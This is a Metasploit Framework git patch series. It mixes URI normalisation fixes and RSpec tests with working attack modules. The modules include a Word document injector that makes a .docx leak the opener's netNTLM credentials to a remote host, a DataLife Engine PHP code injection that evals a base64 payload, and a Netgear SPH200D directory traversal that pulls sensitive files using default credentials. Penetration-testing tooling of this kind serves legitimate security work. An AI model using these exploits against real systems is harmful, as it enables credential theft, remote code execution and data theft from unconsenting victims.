normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) r = send_request_cgi({ 'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm"), 'method' => 'POST', @@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote post_data = Rex::MIME::Message.new post_data.add_part(buffer, nil, nil, "form-data; name=\"e2\"") post_data.bound = rand_text_numeric(57) # example; "---------------------------12816808881949705206242427669" - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) r = send_request_cgi({ 'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=mk_folder2_name1.htm"), 'method' => 'POST', diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index 641783f5a3..e1f1e50943 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote def check tmp_rport = datastore['RPORT'] - uri = normalize_uri(target_uri.host) + uri = normalize_uri(target_uri.path) uri << '/' if uri[-1,1] != '/' datastore['RPORT'] = datastore['HTTPPORT'] res = send_request_raw({'uri'=>uri}) From 1a01d6d033acd8522d6eb216c4ae8c7ed5f1f8fa Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 31 Jan 2013 14:48:54 -0600 Subject: [PATCH 049/448] Fix scrutinizer checks --- modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb | 2 +- modules/exploits/windows/mysql/scrutinizer_upload_exec.rb | 4 +--- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index e38a0979c8..34857f9f84 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - res = send_request_raw({'uri'=>normalize_uri(target_uri.path)}) + res = send_request_raw({'uri'=>'/'}) # Check the base path for version regex if res and res.body =~ /\Scrutinizer\<\/title\>/ and res.body =~ /\
Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/ return Exploit::CheckCode::Vulnerable diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index e1f1e50943..135132c9b6 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -72,10 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote def check tmp_rport = datastore['RPORT'] - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' datastore['RPORT'] = datastore['HTTPPORT'] - res = send_request_raw({'uri'=>uri}) + res = send_request_raw({'uri'=>'/'}) #Check the base path for regex datastore['RPORT'] = tmp_rport if res and res.body =~ /\Scrutinizer\<\/title\>/ and res.body =~ /\
Scrutinizer 9\.[0-5]\.[0-2]\<\/div\>/ From 39cdb89831e1c4005a0951a44cde75a17612c1e2 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 31 Jan 2013 15:04:13 -0600 Subject: [PATCH 050/448] Oh don't be so sensitive about it. Fixnum vs String --- modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index b677c87763..e03844bf80 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary "uri" => user_url, "method" => "GET", "vars_get" => { - "author" => user_id + "author" => user_id.to_s } }) From 9d4bc6bb895f716cf57e348f16bb37323ce81713 Mon Sep 17 00:00:00 2001 From: egypt Date: Thu, 31 Jan 2013 15:29:30 -0600 Subject: [PATCH 051/448] Restructure a bit and add checks for doubled '//' --- spec/lib/msf/core/exploit/http/client_spec.rb | 133 ++++++++++-------- 1 file changed, 78 insertions(+), 55 deletions(-) diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index d32ce9e122..93180d3a5a 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -11,7 +11,7 @@ describe Msf::Exploit::Remote::HttpClient do mod end - context 'normalize_uri' do + describe '#normalize_uri' do let(:expected_normalized_uri) do '/a/b/c' end @@ -20,6 +20,20 @@ describe Msf::Exploit::Remote::HttpClient do subject.normalize_uri(unnormalized_uri) end + context "with just '/'" do + let(:unnormalized_uri) do + '/' + end + + it "should be '/'" do + unnormalized_uri.should == '/' + end + + it "should return '/'" do + normalized_uri.should == '/' + end + end + context "with starting '/'" do let(:unnormalized_uri) do expected_normalized_uri @@ -30,7 +44,17 @@ describe Msf::Exploit::Remote::HttpClient do end it "should not add another starting '/'" do - normalized_uri.should == expected_normalized_uri + normalized_uri.should == expected_normalized_uri + end + + context "with multiple internal '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri.gsub("/", "////")}" + end + + it "should remove doubled internal '/'" do + normalized_uri.should == expected_normalized_uri + end end context "with multiple starting '/'" do @@ -48,39 +72,25 @@ describe Msf::Exploit::Remote::HttpClient do end context "with trailing '/'" do - let(:unnormalized_uri) do - "#{expected_normalized_uri}/" + let(:expected_normalized_uri) do + '/a/b/c/' end - it "should end with '/'" do - unnormalized_uri[-1, 1].should == '/' + let(:unnormalized_uri) do + "#{expected_normalized_uri}/" end it "should end with '/'" do normalized_uri[-1, 1].should == '/' end - context "with just '/'" do + context "with multiple trailing '/'" do let(:unnormalized_uri) do - '/' + "#{expected_normalized_uri}/" end - it "should be '/'" do - unnormalized_uri.should == '/' - end - - it "should return '/'" do - normalized_uri.should == '/' - end - end - - context "with multiple multiple trailing '/'" do - let(:unnormalized_uri) do - "#{expected_normalized_uri}" - end - - it "should have single trailing '/'" do - unnormalized_uri[-2,1].should == '/' + it "should have multiple trailing '/'" do + unnormalized_uri[-2,2].should == '//' end it "should return only one trailing '/'" do @@ -105,16 +115,15 @@ describe Msf::Exploit::Remote::HttpClient do end context "without starting '/'" do - let(:unnormalized_uri) do - 'a/b/c' - end - context "with trailing '/'" do let(:unnormalized_uri) do 'a/b/c/' end + let(:expected_normalized_uri) do + '/a/b/c/' + end - it "'should have trailing '/'" do + it "should have trailing '/'" do unnormalized_uri[-1, 1].should == '/' end @@ -122,17 +131,31 @@ describe Msf::Exploit::Remote::HttpClient do normalized_uri[0, 1].should == '/' end - it "'should not remove trailing '/'" do + it "should not remove trailing '/'" do normalized_uri[-1, 1].should == '/' end it 'should normalize the uri' do - normalized_uri.should == "#{expected_normalized_uri}/" + normalized_uri.should == "#{expected_normalized_uri}" + end + + context "with multiple internal '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri.gsub("/", "////")}" + end + + it "should remove doubled internal '/'" do + normalized_uri.should == expected_normalized_uri + end end end context "without trailing '/'" do - it "'should not have trailing '/'" do + let(:unnormalized_uri) do + 'a/b/c' + end + + it "should not have trailing '/'" do unnormalized_uri[-1, 1].should_not == '/' end @@ -143,35 +166,35 @@ describe Msf::Exploit::Remote::HttpClient do it "should add trailing '/'" do normalized_uri[-1, 1].should_not == '/' end + end + end - context 'with empty string' do - let(:unnormalized_uri) do - '' - end + context 'with empty string' do + let(:unnormalized_uri) do + '' + end - it "should be empty" do - unnormalized_uri.should be_empty - end + it "should be empty" do + unnormalized_uri.should be_empty + end - it "should return '/'" do - normalized_uri.should == '/' - end - end + it "should return '/'" do + normalized_uri.should == '/' + end + end - context 'with nil' do - let(:unnormalized_uri) do - nil - end + context 'with nil' do + let(:unnormalized_uri) do + nil + end - it 'should be nil' do - unnormalized_uri.should be_nil - end + it 'should be nil' do + unnormalized_uri.should be_nil + end - it "should return '/" do - normalized_uri.should == '/' - end - end + it "should return '/" do + normalized_uri.should == '/' end end end -end \ No newline at end of file +end From de8572d934fe21eebb5b9cdd3ae00386307f77a0 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 31 Jan 2013 16:57:48 -0600 Subject: [PATCH 052/448] Use normalize_uri for URI --- modules/exploits/unix/webapp/datalife_preview_exec.rb | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/modules/exploits/unix/webapp/datalife_preview_exec.rb b/modules/exploits/unix/webapp/datalife_preview_exec.rb index 6a120a8a31..e1339f1313 100644 --- a/modules/exploits/unix/webapp/datalife_preview_exec.rb +++ b/modules/exploits/unix/webapp/datalife_preview_exec.rb @@ -53,17 +53,15 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def base - base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' - return base + def uri + normalize_uri(target_uri.path, 'engine', 'preview.php') end def check fingerprint = rand_text_alpha(4+rand(4)) res = send_request_cgi( { - 'uri' => "#{base}engine/preview.php", + 'uri' => uri, 'method' => 'POST', 'vars_post' => { @@ -84,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code") res = send_request_cgi( { - 'uri' => "#{base}engine/preview.php", + 'uri' => uri, 'method' => 'POST', 'vars_post' => { From e71c2c5ece97c8a237186eeaab46526be28b2cb3 Mon Sep 17 00:00:00 2001 From: SphaZ Date: Fri, 1 Feb 2013 08:03:41 +0100 Subject: [PATCH 053/448] added word_unc_injector auxiliary module --- .../docx/sourcedoc/[Content_Types].xml | 2 + modules/auxiliary/docx/sourcedoc/_rels/.rels | 2 + .../auxiliary/docx/sourcedoc/docProps/app.xml | 2 + .../sourcedoc/word/_rels/document.xml.rels | 2 + .../docx/sourcedoc/word/document.xml | 2 + .../docx/sourcedoc/word/fontTable.xml | 2 + .../docx/sourcedoc/word/settings.xml | 2 + .../auxiliary/docx/sourcedoc/word/styles.xml | 2 + .../docx/sourcedoc/word/theme/theme1.xml | 2 + .../docx/sourcedoc/word/webSettings.xml | 2 + modules/auxiliary/docx/word_unc_injector.rb | 320 ++++++++++++++++++ 11 files changed, 340 insertions(+) create mode 100644 modules/auxiliary/docx/sourcedoc/[Content_Types].xml create mode 100644 modules/auxiliary/docx/sourcedoc/_rels/.rels create mode 100644 modules/auxiliary/docx/sourcedoc/docProps/app.xml create mode 100644 modules/auxiliary/docx/sourcedoc/word/_rels/document.xml.rels create mode 100644 modules/auxiliary/docx/sourcedoc/word/document.xml create mode 100644 modules/auxiliary/docx/sourcedoc/word/fontTable.xml create mode 100644 modules/auxiliary/docx/sourcedoc/word/settings.xml create mode 100644 modules/auxiliary/docx/sourcedoc/word/styles.xml create mode 100644 modules/auxiliary/docx/sourcedoc/word/theme/theme1.xml create mode 100644 modules/auxiliary/docx/sourcedoc/word/webSettings.xml create mode 100644 modules/auxiliary/docx/word_unc_injector.rb diff --git a/modules/auxiliary/docx/sourcedoc/[Content_Types].xml b/modules/auxiliary/docx/sourcedoc/[Content_Types].xml new file mode 100644 index 0000000000..39a9cb897f --- /dev/null +++ b/modules/auxiliary/docx/sourcedoc/[Content_Types].xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/_rels/.rels b/modules/auxiliary/docx/sourcedoc/_rels/.rels new file mode 100644 index 0000000000..fdd8c4f371 --- /dev/null +++ b/modules/auxiliary/docx/sourcedoc/_rels/.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/docProps/app.xml b/modules/auxiliary/docx/sourcedoc/docProps/app.xml new file mode 100644 index 0000000000..1f97125772 --- /dev/null +++ b/modules/auxiliary/docx/sourcedoc/docProps/app.xml @@ -0,0 +1,2 @@ + +0103Microsoft Office Outlook000falsefalse0falsefalse12.0000 \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/word/_rels/document.xml.rels b/modules/auxiliary/docx/sourcedoc/word/_rels/document.xml.rels new file mode 100644 index 0000000000..0079d06931 --- /dev/null +++ b/modules/auxiliary/docx/sourcedoc/word/_rels/document.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/word/document.xml b/modules/auxiliary/docx/sourcedoc/word/document.xml new file mode 100644 index 0000000000..6e291134c2 --- /dev/null +++ b/modules/auxiliary/docx/sourcedoc/word/document.xml @@ -0,0 +1,2 @@ + +hoi \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/word/fontTable.xml b/modules/auxiliary/docx/sourcedoc/word/fontTable.xml new file mode 100644 index 0000000000..20e9a398fe --- /dev/null +++ b/modules/auxiliary/docx/sourcedoc/word/fontTable.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/word/settings.xml b/modules/auxiliary/docx/sourcedoc/word/settings.xml new file mode 100644 index 0000000000..4692c237a8 --- /dev/null +++ b/modules/auxiliary/docx/sourcedoc/word/settings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/word/styles.xml b/modules/auxiliary/docx/sourcedoc/word/styles.xml new file mode 100644 index 0000000000..4a084626fc --- /dev/null +++ b/modules/auxiliary/docx/sourcedoc/word/styles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/word/theme/theme1.xml b/modules/auxiliary/docx/sourcedoc/word/theme/theme1.xml new file mode 100644 index 0000000000..a06c80529b --- /dev/null +++ b/modules/auxiliary/docx/sourcedoc/word/theme/theme1.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/word/webSettings.xml b/modules/auxiliary/docx/sourcedoc/word/webSettings.xml new file mode 100644 index 0000000000..b4a16977f7 --- /dev/null +++ b/modules/auxiliary/docx/sourcedoc/word/webSettings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb new file mode 100644 index 0000000000..95410ef7cf --- /dev/null +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -0,0 +1,320 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://Metasploit.com/projects/Framework/ +## + +require 'msf/core' +require 'zip/zip' + +class Metasploit3 < Msf::Auxiliary + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Word UNC Path Injector', + 'Description' => %q{ + This module modifies a .docx file that will, upon opening, submit all + stored netNTLM credentials to a remote host. It can also create an empty docx file. + If emailed the receiver needs to put the document in editing mode + before the remote server will be contacted. Preview and read-only + mode do not work. Verified to work with Microsoft Word 2003, + 2007 and 2010 as of Januari 2013 date by using auxiliary/server/capture/smb + }, + 'License' => MSF_LICENSE, + 'Version' => '$Revision: 1 $', + 'References' => + [ + [ 'URL', 'http://jedicorp.com/?p=534' ], + ], + 'Author' => + [ + 'SphaZ ' + ] + )) + + register_options( + [ + OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to','']), + OptString.new('SRCFILE', [false, '.docx file to backdoor. If left empty, creates an emtpy document', '']), + OptString.new('SKLFILENAME', [false,'Document output filename', 'stealnetNTLM.docx']), + OptPath.new('SKLOUTPUTPATH', [false, 'The location where the backdoored empty .docx file will be written','./']), + OptString.new('SKLDOCAUTHOR',[false,'Document author for skeleton document', 'SphaZ']), + ], self.class) + end + + + #here we create an empty .docx file with the UNC path. Only done when SRCFILE is empty + def makeNewFile + metadataFileData = "" + metadataFileData << "" + metadataFileData << "#{datastore['SKLDOCAUTHOR']}#{datastore['SKLDOCAUTHOR']}" + metadataFileData << "1" + metadataFileData << "2013-01-08T14:14:00Z" + metadataFileData << "2013-01-08T14:14:00Z" + + #Lets get the local filepath to figure out where we need to write the metadata file + metadataFileName = File.dirname(self.file_path)+'/sourcedoc/docProps/core.xml' + begin + if File.exists?(metadataFileName) + vprint_status("Deleting metadatafile") + File.delete(metadataFileName) + end + fd = File.open( metadataFileName, 'wb+' ) + fd.puts(metadataFileData) + fd.close + rescue + print_error("Cant write to #{metadataFileName} make sure module and data are intact") + return nil + end + + #now lets write the _rels file that contains the UNC path + refdataFileName = File.dirname(self.file_path) + '/sourcedoc/word/_rels/settings.xml.rels' + begin + fd = File.open( refdataFileName, 'wb+' ) + fd.puts(@relsFileData) + fd.close + rescue + print_error("Cant write to #{refdataFileName} make sure module and data are intact.") + return nil + end + + #and finally, lets creat the .docx file + inputPath = File.dirname(self.file_path) + '/sourcedoc/' + inputPath.sub!(%r[/S],'') + + archive = File.join(datastore['SKLOUTPUTPATH'], datastore['SKLFILENAME']) + #if file exists, lets not overwrite + if File.exists?(archive) + print_error("Output file #{archive} already exists! Set a different name for SKLOUTPUTPATH and/or SKLFILENAME.") + return nil + end + + if zipDocx(inputPath, archive, false).nil? + return nil + end + + begin + #delete the created xml files, the less evidence of parameters used the better + File.delete(File.dirname(self.file_path)+'/sourcedoc/docProps/core.xml') + File.delete(File.dirname(self.file_path) + '/sourcedoc/word/_rels/settings.xml.rels') + rescue + print_error("Error deleting local core and settings documents. Generating new file worked though") + end + return 0 + end + + + #this bit checks the settings.xml and looks for the relations file entry we need for our evil masterplan. + #and then inserts the UNC path into the _rels file. + def manipulateFile + ref = "" + + if File.exists?(datastore['SRCFILE']) + if File.stat(datastore['SRCFILE']).readable? and File.stat(datastore['SRCFILE']).writable? + vprint_status("We can read and write the file, this is probably a good thing :P") + else + print_error("Not enough rights to modify the file. Aborting.") + return nil + end + + fileContent = getFileFromDocx("word/settings.xml") + if fileContent.nil? + return nil + end + + if not fileContent.index("w:attachedTemplate r:id=\"rId1\"").nil? + vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)") + #and we put just our rels file into the docx + if unzipDocx.nil? + return nil + end + if updateDocxFile("word/_rels/settings.xml.rels", @relsFileData).nil? + return nil + end + #ok we got through this, lets zip the file, overwriting the original in this case + begin + File.delete(datastore['SRCFILE']) + if zipDocx(@tmpDir, datastore['SRCFILE'],true).nil? + return nil + end + rescue + print_error("Can't modify the original document :(") + return nil + end + else + #now insert the reference to the file that will enable our malicious entry + insertOne = fileContent.index(" ex + print_error("Well, extracting and manipulating the file went wrong :(") + return nil + end + return 0 + end + + def run + #we need this in in bot makeNewFile and manipulateFile + @relsFileData = "" + @relsFileData << "".chomp + @relsFileData << "".chomp + @relsFileData << "" + #where do we unpack our file? + @tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/" + + if "#{datastore['SRCFILE']}" == "" + #make an empty file + print_status("Creating empty document") + if not makeNewFile.nil? + print_good("Success! Document #{datastore['SKLFILENAME']} created in #{datastore['SKLOUTPUTPATH']}") + end + else + #extract the word/settings.xml and edit in the reference we need + print_status("Injecting UNC path into existing document.") + if not manipulateFile.nil? + print_good("Success! Document #{datastore['SRCFILE']} now references to #{datastore['LHOST']}") + else + print_error("Something went wrong!") + end + end + end +end From bf7bb9952e5ef3c41cbfdbc6dbe8de1b3301c04b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 Feb 2013 11:53:42 +0100 Subject: [PATCH 054/448] added template stuff improve --- .../unix/webapp/datalife_preview_exec.rb | 34 ++++++++++--------- 1 file changed, 18 insertions(+), 16 deletions(-) diff --git a/modules/exploits/unix/webapp/datalife_preview_exec.rb b/modules/exploits/unix/webapp/datalife_preview_exec.rb index e1339f1313..7497dd6f9b 100644 --- a/modules/exploits/unix/webapp/datalife_preview_exec.rb +++ b/modules/exploits/unix/webapp/datalife_preview_exec.rb @@ -18,8 +18,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This module exploits a PHP code injection vulnerability DataLife Engine 9.7. The vulnerability exists in preview.php, due to an insecure usage of preg_replace() - with the e modifier, which allows to inject arbitrary php code, when the template - in use contains a [catlist] or [not-catlist] tag. + with the e modifier, which allows to inject arbitrary php code, when there is a + template installed which contains a [catlist] or [not-catlist] tag, even when the + template isn't in use currently. The template can be configured with the TEMPLATE + datastore option. }, 'Author' => [ @@ -49,7 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) + OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]), + OptString.new('TEMPLATE', [ true, "Template with catlist or not-catlit tag", "Default"]) ], self.class) end @@ -57,17 +60,24 @@ class Metasploit3 < Msf::Exploit::Remote normalize_uri(target_uri.path, 'engine', 'preview.php') end - def check - fingerprint = rand_text_alpha(4+rand(4)) + def send_injection(inj) res = send_request_cgi( { 'uri' => uri, 'method' => 'POST', 'vars_post' => { - 'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//" - } + 'catlist[0]' => inj + }, + 'cookie' => "dle_skin=#{datastore['TEMPLATE']}" }) + res + end + + def check + fingerprint = rand_text_alpha(4+rand(4)) + + res = send_injection("#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//") if res and res.code == 200 and res.body =~ /#{fingerprint}/ return Exploit::CheckCode::Vulnerable @@ -80,14 +90,6 @@ class Metasploit3 < Msf::Exploit::Remote @peer = "#{rhost}:#{rport}" print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code") - res = send_request_cgi( - { - 'uri' => uri, - 'method' => 'POST', - 'vars_post' => - { - 'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//" - } - }) + res = send_injection("#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//") end end From 0e22ee73b557197011c931061ee44240c1c1a6a1 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Fri, 1 Feb 2013 19:26:34 +0100 Subject: [PATCH 055/448] updates ... --- .../admin/http/netgear_sph200d_traversal.rb | 134 +++++++++--------- 1 file changed, 67 insertions(+), 67 deletions(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index dde5408996..d9a0a23fd8 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -1,7 +1,3 @@ -## -# $Id: tomcat_utf8_traversal.rb 14975 2012-03-18 01:39:05Z rapid7 $ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -14,13 +10,11 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::WmapScanServer include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'Netgear SPH200D - Directory Traversal Vulnerability', - 'Version' => '$$', 'Description' => %q{ This module exploits a directory traversal vulnerablity which is present in Netgear SPH200D Skype telephone @@ -35,45 +29,58 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'm-1-k-3' ], 'License' => MSF_LICENSE ) - register_options( [ Opt::RPORT(80), - OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line", + OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line", File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]), OptString.new('USERNAME',[ true, 'User to login with', 'admin']), OptString.new('PASSWORD',[ true, 'Password to login with', 'password']), - ], self.class) end def extract_words(wordfile) - return [] unless wordfile && File.readable?(wordfile) - begin - words = File.open(wordfile, "rb") do |f| - f.read - end - rescue - return [] - end - save_array = words.split(/\r?\n/) - return save_array + return [] unless wordfile && File.readable?(wordfile) + begin + words = File.open(wordfile, "rb") do |f| + f.read + end + rescue + return [] + end + save_array = words.split(/\r?\n/) + return save_array end - def find_files(files,user,pass) + #traversal every file + def find_files(file,user,pass) traversal = '/../..' - res = send_request_raw( - { - 'method' => 'GET', - 'uri' => traversal << files, - 'basic_auth' => "#{user}:#{pass}" + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => traversal << file, + 'basic_auth' => "#{user}:#{pass}" + }) + + if (res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/) + print_good("Request may have succeeded on #{rhost}:#{rport}:file->#{file}! Response: \r\n #{res.body}") + report_web_vuln({ + :host => rhost, + :port => rport, + :vhost => datastore['VHOST'], + :path => traversal << file, + :pname => traversal, + :risk => 3, + :proof => traversal, + :name => self.fullname, + :category => "web", + :method => "GET" }) - if (res and res.code == 200) - print_status("Request may have succeeded on #{rhost}:#{rport}:file->#{files}! Response: \r\n") - print_status("#{res.body}") + + loot = store_loot("lfi.data","text/plain",rhost, res.body,file) + print_good("File #{file} downloaded to: #{loot}") elsif (res and res.code) - vprint_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport}:file->#{files}") + vprint_error("Attempt returned HTTP error #{res.code} and Body #{res.body} on #{rhost}:#{rport}:file->#{file}") end end @@ -85,50 +92,43 @@ class Metasploit3 < Msf::Auxiliary pass = datastore['PASSWORD'] end - print_status("Trying to login with #{user} / #{pass}") - - begin - res = send_request_cgi({ - 'uri' => '/', - 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" - }) - - unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("#{target_url} not responding") - end - - return :abort if (res.code == 404) - - if [200, 301, 302].include?(res.code) - print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - else - print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'") - return :abort - end - - rescue ::Rex::ConnectionError - vprint_error("Failed to connect to the web server") - return :abort - end - + print_status("Trying to login with #{user} / #{pass}") + + #test login begin - print_status("Attempting to connect to #{rhost}:#{rport}") - res = send_request_raw( - { + res = send_request_cgi({ + 'uri' => '/', 'method' => 'GET', - 'uri' => '/', 'basic_auth' => "#{user}:#{pass}" - }) + }) - if (res) - extract_words(datastore['SENSITIVE_FILES']).each do |files| - find_files(files,user,pass) unless files.empty? - end + return :abort if (res.code == 404) + + if [200, 301, 302].include?(res.code) + vprint_good("Successful login: #{user} : #{pass} on #{rhost}:#{rport}") + else + vprint_error("No successful login possible. #{user} : #{pass} on #{rhost}:#{rport}") + return :abort end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE + rescue ::Rex::ConnectionError + vprint_error("Failed to connect to the web server") + return :abort + end + + begin + vprint_status("Attempting to connect to #{rhost}:#{rport}") + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'basic_auth' => "#{user}:#{pass}" + }) + if (res) + extract_words(datastore['FILELIST']).each do |file| + find_files(file,user,pass) unless file.empty? + end + end + end end end From fdd5fe77c12917b3264f95f44d8f451af90fd95c Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Fri, 1 Feb 2013 19:59:19 +0100 Subject: [PATCH 056/448] more updates ... --- .../admin/http/netgear_sph200d_traversal.rb | 21 +++---------------- 1 file changed, 3 insertions(+), 18 deletions(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index d9a0a23fd8..693bc5cf13 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -86,11 +86,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) user = datastore['USERNAME'] - if datastore['PASSWORD'].nil? - pass = "" - else - pass = datastore['PASSWORD'] - end + pass = datastore['PASSWORD'] print_status("Trying to login with #{user} / #{pass}") @@ -116,19 +112,8 @@ class Metasploit3 < Msf::Auxiliary return :abort end - begin - vprint_status("Attempting to connect to #{rhost}:#{rport}") - res = send_request_cgi({ - 'uri' => '/', - 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" - }) - if (res) - extract_words(datastore['FILELIST']).each do |file| - find_files(file,user,pass) unless file.empty? - end - end - + extract_words(datastore['FILELIST']).each do |file| + find_files(file,user,pass) unless file.empty? end end end From 988761a6dea9018955f65fec9652ba47126ebf2e Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Fri, 1 Feb 2013 20:18:53 +0100 Subject: [PATCH 057/448] more updates, BID, Exploit-DB --- modules/auxiliary/admin/http/netgear_sph200d_traversal.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index 693bc5cf13..1bf1be8c33 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -25,6 +25,8 @@ class Metasploit3 < Msf::Auxiliary [ [ 'URL', 'http://support.netgear.com/product/SPH200D' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ], + [ 'BID', '57660' ], + [ 'EDB', '24441' ], ], 'Author' => [ 'm-1-k-3' ], 'License' => MSF_LICENSE @@ -63,7 +65,8 @@ class Metasploit3 < Msf::Auxiliary }) if (res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/) - print_good("Request may have succeeded on #{rhost}:#{rport}:file->#{file}! Response: \r\n #{res.body}") + print_good("Request may have succeeded on 